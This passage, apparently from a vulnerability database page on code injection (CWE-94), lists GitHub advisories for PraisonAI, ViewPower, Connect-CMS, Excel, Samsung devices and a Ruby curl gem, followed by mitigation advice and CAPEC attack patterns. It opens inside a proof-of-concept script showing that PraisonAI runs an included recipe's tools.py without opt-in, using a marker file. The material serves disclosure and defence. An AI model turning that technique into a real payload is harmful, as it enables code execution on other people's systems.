child_recipe\\n\",\n encoding=\"utf-8\",\n )\n (child_recipe / \"workflow.yaml\").write_text(\n \"name: child\\n\"\n \"steps: []\\n\",\n encoding=\"utf-8\",\n )\n (child_recipe / \"tools.py\").write_text(\n \"from pathlib import Path\\n\"\n f\"Path({str(marker)!r}).write_text(\u0027executed\u0027)\\n\"\n \"def benign_tool():\\n\"\n \" return \u0027ok\u0027\\n\",\n encoding=\"utf-8\",\n )\n\n os.chdir(workdir)\n\n from praisonai import recipe\n\n result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n if marker.exists():\n print(\n \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n )\n print(f\"recipe_status={result.status}\")\n print(f\"recipe_ok={result.ok}\")\n print(f\"marker={marker}\")\n print(f\"marker_content={marker.read_text(encoding=\u0027utf-8\u0027)}\")\n return 0\n\n print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n print(f\"recipe_status={result.status}\")\n print(f\"recipe_error={result.error}\")\n return 1\n finally:\n os.chdir(old_cwd)\n shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```",
"id": "GHSA-hxmv-c4g6-5fqc",
"modified": "2026-08-25T14:15:27Z",
"published": "2026-08-25T14:15:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55522"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code"
}
GHSA-HXP2-X3CH-HV5V
Vulnerability from github – Published: 2025-08-22 21:31 – Updated: 2025-08-22 21:31Voltronic Power ViewPower through 1.04-24215, ViewPower Pro through 2.0-22165, and PowerShield Netguard before 1.04-23292 allows a remote attacker to run arbitrary code via an unspecified web interface related to detection of a managed UPS shutting down. An unauthenticated attacker can use this to run arbitrary code immediately regardless of any managed UPS state or presence.
{
"affected": [],
"aliases": [
"CVE-2022-31491"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-22T20:15:31Z",
"severity": "CRITICAL"
},
"details": "Voltronic Power ViewPower through 1.04-24215, ViewPower Pro through 2.0-22165, and PowerShield Netguard before 1.04-23292 allows a remote attacker to run arbitrary code via an unspecified web interface related to detection of a managed UPS shutting down. An unauthenticated attacker can use this to run arbitrary code immediately regardless of any managed UPS state or presence.",
"id": "GHSA-hxp2-x3ch-hv5v",
"modified": "2025-08-22T21:31:16Z",
"published": "2025-08-22T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31491"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-182-05"
},
{
"type": "WEB",
"url": "https://www.ready2disclose.com/vpow-31491-43110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HXQW-6QV7-CQFV
Vulnerability from github – Published: 2026-03-23 20:33 – Updated: 2026-03-25 20:45Security Advisory — Code Study Plugin
Summary
An authenticated user may be able to execute arbitrary code in the Code Study Plugin.
Affected Versions
- 1.x series: <= 1.41.0
- 2.x series: <= 2.41.0
Patched Versions
- 1.41.1
- 2.41.1
Description
In the Code Study Plugin, an authenticated user could trigger unintended code execution. If exploited, it may lead to code execution on the server or information disclosure. Users affected by this vulnerability should update to a fixed version.
Solution
Update to the fixed version. For the 1.x series, update to 1.41.1 or later. For the 2.x series, update to 2.41.1 or later.
Credits
OpenSource WorkShop thanks Sho Odagiri (小田切 祥) of GMO Cybersecurity by Ierae, Inc. for reporting this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.41.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32276"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-23T20:33:34Z",
"nvd_published_at": "2026-03-23T22:16:27Z",
"severity": "HIGH"
},
"details": "# Security Advisory \u2014 Code Study Plugin\n\n## Summary\n\nAn authenticated user may be able to execute arbitrary code in the Code Study Plugin.\n\n## Affected Versions\n\n- 1.x series: \u003c= 1.41.0\n- 2.x series: \u003c= 2.41.0\n\n## Patched Versions\n\n- 1.41.1\n- 2.41.1\n\n## Description\n\nIn the Code Study Plugin, an authenticated user could trigger unintended code execution. If exploited, it may lead to code execution on the server or information disclosure. Users affected by this vulnerability should update to a fixed version.\n\n## Solution\n\nUpdate to the fixed version.\nFor the 1.x series, update to 1.41.1 or later.\nFor the 2.x series, update to 2.41.1 or later.\n\n## Credits\n\nOpenSource WorkShop thanks **Sho Odagiri** (\u5c0f\u7530\u5207 \u7965) of **GMO Cybersecurity by Ierae, Inc.** for reporting this vulnerability.",
"id": "GHSA-hxqw-6qv7-cqfv",
"modified": "2026-03-25T20:45:00Z",
"published": "2026-03-23T20:33:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/security/advisories/GHSA-hxqw-6qv7-cqfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32276"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/commit/c0bcd07fc1e9375941aa1295d044328ecd44ed85"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensource-workshop/connect-cms"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v1.41.1"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v2.41.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Connect-CMS has Arbitrary Code Execution by an Authenticated User in its Code Study Plugin"
}
GHSA-HXVV-CFHJ-6J8R
Vulnerability from github – Published: 2022-05-01 06:48 – Updated: 2022-05-01 06:48Microsoft Excel 2000 through 2004 allows user-assisted attackers to execute arbitrary code via a .xls file with a crafted BIFF record with an attacker-controlled array index that is used for a function pointer, aka "Malformed OBJECT record Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2006-1306"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-07-13T21:05:00Z",
"severity": "HIGH"
},
"details": "Microsoft Excel 2000 through 2004 allows user-assisted attackers to execute arbitrary code via a .xls file with a crafted BIFF record with an attacker-controlled array index that is used for a function pointer, aka \"Malformed OBJECT record Vulnerability.\"",
"id": "GHSA-hxvv-cfhj-6j8r",
"modified": "2022-05-01T06:48:03Z",
"published": "2022-05-01T06:48:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-1306"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2006/ms06-037"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A950"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016472"
},
{
"type": "WEB",
"url": "http://secway.org/advisory/AD20060711.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/439884/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/18886"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/2755"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HXVX-XF8X-65PJ
Vulnerability from github – Published: 2022-05-17 04:30 – Updated: 2022-05-17 04:30The Remote Controls feature on Samsung mobile devices does not validate the source of lock-code data received over a network, which makes it easier for remote attackers to cause a denial of service (screen locking with an arbitrary code) by triggering unexpected Find My Mobile network traffic.
{
"affected": [],
"aliases": [
"CVE-2014-8346"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-10-24T10:55:00Z",
"severity": "HIGH"
},
"details": "The Remote Controls feature on Samsung mobile devices does not validate the source of lock-code data received over a network, which makes it easier for remote attackers to cause a denial of service (screen locking with an arbitrary code) by triggering unexpected Find My Mobile network traffic.",
"id": "GHSA-hxvx-xf8x-65pj",
"modified": "2022-05-17T04:30:26Z",
"published": "2022-05-17T04:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8346"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=Q3adkpOEjyI"
},
{
"type": "WEB",
"url": "https://www.youtube.com/watch?v=YufuOYQoDOY"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HXX6-P24V-WG8C
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2023-08-29 10:57lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "curl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2013-2617"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:41:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "`lib/curl.rb` in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.",
"id": "GHSA-hxx6-p24v-wg8c",
"modified": "2023-08-29T10:57:50Z",
"published": "2017-10-24T18:33:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2617"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/curl/CVE-2013-2617.yml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tggo/curl"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/120778/Ruby-Gem-Curl-Command-Execution.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2013/Mar/124"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/03/19/9"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Curl Gem insufficient URL escaping command injection"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.